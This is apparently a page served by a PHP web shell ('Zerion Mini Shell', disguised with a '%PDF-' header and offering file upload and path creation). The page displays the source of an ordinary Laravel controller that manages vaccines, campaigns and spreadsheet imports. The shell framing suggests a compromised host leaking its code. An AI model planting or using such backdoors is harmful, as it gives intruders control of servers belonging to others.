%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/core/app/Http/Controllers/
Upload File :
Create Path :
Current File : /home/vacivi36/core/app/Http/Controllers/VaccineController.php

<?php

namespace App\Http\Controllers;

use App\Models\Vaccine;
use Illuminate\Http\Request;
use Maatwebsite\Excel\Facades\Excel;
use PhpOffice\PhpSpreadsheet\IOFactory;
use Carbon\Carbon;

class VaccineController extends Controller
{
    /**
     * Exibir a lista de vacinas.
     */
    public function index()
    {
        $vaccines = Vaccine::with('campaign')->get();
        return response()->json($vaccines);
    }
        
    /**
     * Criar uma nova vacina.
     */
    public function store(Request $request)
    {
        // Verifica se o código da vacina já está cadastrado
        if (Vaccine::where('code', $request->code)->exists()) {
            return response()->json(['status' => 'error', 'message' => 'Código da vacina já cadastrado no sistema. Por favor, utilize outro código ou verifique as informações.'], 409);
        }

        // Verifica se o nome da vacina já está cadastrado
        if (Vaccine::where('name', $request->name)->exists()) {
            return response()->json(['status' => 'error', 'message' => 'Nome da vacina já cadastrado no sistema. Por favor, utilize outro nome ou verifique as informações.'], 409);
        }

        $vaccine = new Vaccine();

        $vaccine->code = $request->code;
        $vaccine->name = $request->name;
        $vaccine->batch = $request->batch;
        $vaccine->quantity = $request->quantity;
        $vaccine->due_date = $request->due_date;
        $vaccine->doses = $request->doses;
        $vaccine->manufacturing_date = $request->manufacturing_date;
        $vaccine->campaign_id = $request->campaign_id;
        $vaccine->laboratory = $request->laboratory;
        $vaccine->application_location = $request->application_location;
        $vaccine->notes = $request->notes;

        $insert = $vaccine->save();

        if ($insert) {
            return response()->json(['status' => 'success', 'message' => 'Vacina criada com sucesso!'], 201);
        } else {
            return response()->json(['status' => 'error', 'message' => 'Erro ao criar vacina.'], 500);
        }
    }

    /**
     * Exibir uma vacina específica.
     */
    public function show($id)
    {
        $vaccine = Vaccine::findOrFail($id);
        return response()->json($vaccine);
    }

    /**
     * Atualizar uma vacina existente.
     */
    public function update(Request $request, $id)
    {
        $vaccine = Vaccine::findOrFail($id);

        $vaccine->code = $request->code;
        $vaccine->name = $request->name;
        $vaccine->batch = $request->batch;
        $vaccine->quantity = $request->quantity;
        $vaccine->due_date = $request->due_date;
        $vaccine->doses = $request->doses;
        $vaccine->manufacturing_date = $request->manufacturing_date;
        $vaccine->campaign_id = $request->campaign_id;
        $vaccine->laboratory = $request->laboratory;
        $vaccine->application_location = $request->application_location;
        $vaccine->notes = $request->notes;

        $update = $vaccine->save();

        if ($update) {
            return response()->json(['status' => 'success', 'message' => 'Vacina atualizada com sucesso!'], 200);
        } else {
            return response()->json(['status' => 'error', 'message' => 'Erro ao atualizar vacina.'], 500);
        }
    }

    /**
     * Remover uma vacina.
     */
    public function destroy($id)
    {
        $vaccine = Vaccine::findOrFail($id);

        // Verificar se há aplicações de vacina associadas usando o relacionamento
        if ($vaccine->vaccineApplications()->exists()) {
            return response()->json([
                'message' => 'A vacina possui aplicações vinculadas com pacientes e não pode ser excluída.'
            ], 400);
        }

        $vaccine->delete();

        return response()->json(['message' => 'Vacina excluída com sucesso!']);
    }

    public function importFromSpreadsheet(Request $request)
    {
        // Verifica se o arquivo foi enviado
        if (!$request->hasFile('file') || !$request->file('file')->isValid()) {
            return response()->json(['status' => 'error', 'message' => 'Arquivo inválido ou não enviado.'], 400);
        }

        // Caminho do arquivo enviado
        $filePath = $request->file('file')->getPathname();

        // Lê a planilha
        $spreadsheet = IOFactory::load($filePath);
        $sheet = $spreadsheet->getActiveSheet();
        $rows = $sheet->toArray();

        // Define os campos obrigatórios com mapeamento para os campos do banco de dados
        $requiredFields = [
            'Campanha' => 'campaign',
            'Vacina' => 'name',
            'Data de Fabricação' => 'manufacturing_date',
            'Data de Vencimento' => 'due_date',
            'Laboratório' => 'laboratory',
            'Lote' => 'batch',
            'Quantidade' => 'quantity',
            'Dose' => 'doses',
            'Local Aplicação' => 'application_location'
        ];

        // Validação dos cabeçalhos da planilha
        $headers = $rows[0];
        foreach (array_keys($requiredFields) as $field) {
            if (!in_array($field, $headers)) {
                return response()->json(['status' => 'error', 'message' => "Campo obrigatório '{$field}' está ausente na planilha."], 400);
            }
        }

        // Índices dos campos obrigatórios na planilha
        $indexes = array_flip($headers);

        // Inicializa uma coleção de dados a serem inseridos
        $vaccinesData = [];

        // Processa cada linha da planilha
        foreach (array_slice($rows, 1) as $row) {
            $vaccineData = [];

            foreach ($requiredFields as $field => $dbField) {
                $value = $row[$indexes[$field]] ?? null;

                if (is_null($value)) {
                    return response()->json(['status' => 'error', 'message' => "O campo obrigatório '{$field}' está vazio em alguma linha."], 400);
                }

                // Verifica e converte as datas para o formato 'yyyy-mm-dd'
                if (in_array($field, ['Data de Fabricação', 'Data de Vencimento'])) {
                    try {
                        $value = Carbon::createFromFormat('m/d/Y', $value)->format('Y-m-d');
                    } catch (\Exception $e) {
                        return response()->json(['status' => 'error', 'message' => "Data inválida no campo '{$field}': {$value}. Use o formato mm/dd/yyyy."], 400);
                    }
                }

                // Adiciona o valor ao array com o nome correto do campo no banco de dados
                $vaccineData[$dbField] = $value;
            }

            // Verifica se o nome da vacina já existe no banco de dados
            if (Vaccine::where('name', $vaccineData['name'])->exists()) {
                return response()->json([
                    'status' => 'error',
                    'message' => "A vacina '{$vaccineData['name']}' já existe no sistema."
                ], 400);
            }

            $vaccinesData[] = $vaccineData;
        }

        // Insere os dados no banco de dados
        foreach ($vaccinesData as $data) {
            Vaccine::create($data);
        }

        return response()->json(['status' => 'success', 'message' => 'Vacinas importadas com sucesso!']);
    }

}

Zerion Mini Shell 1.0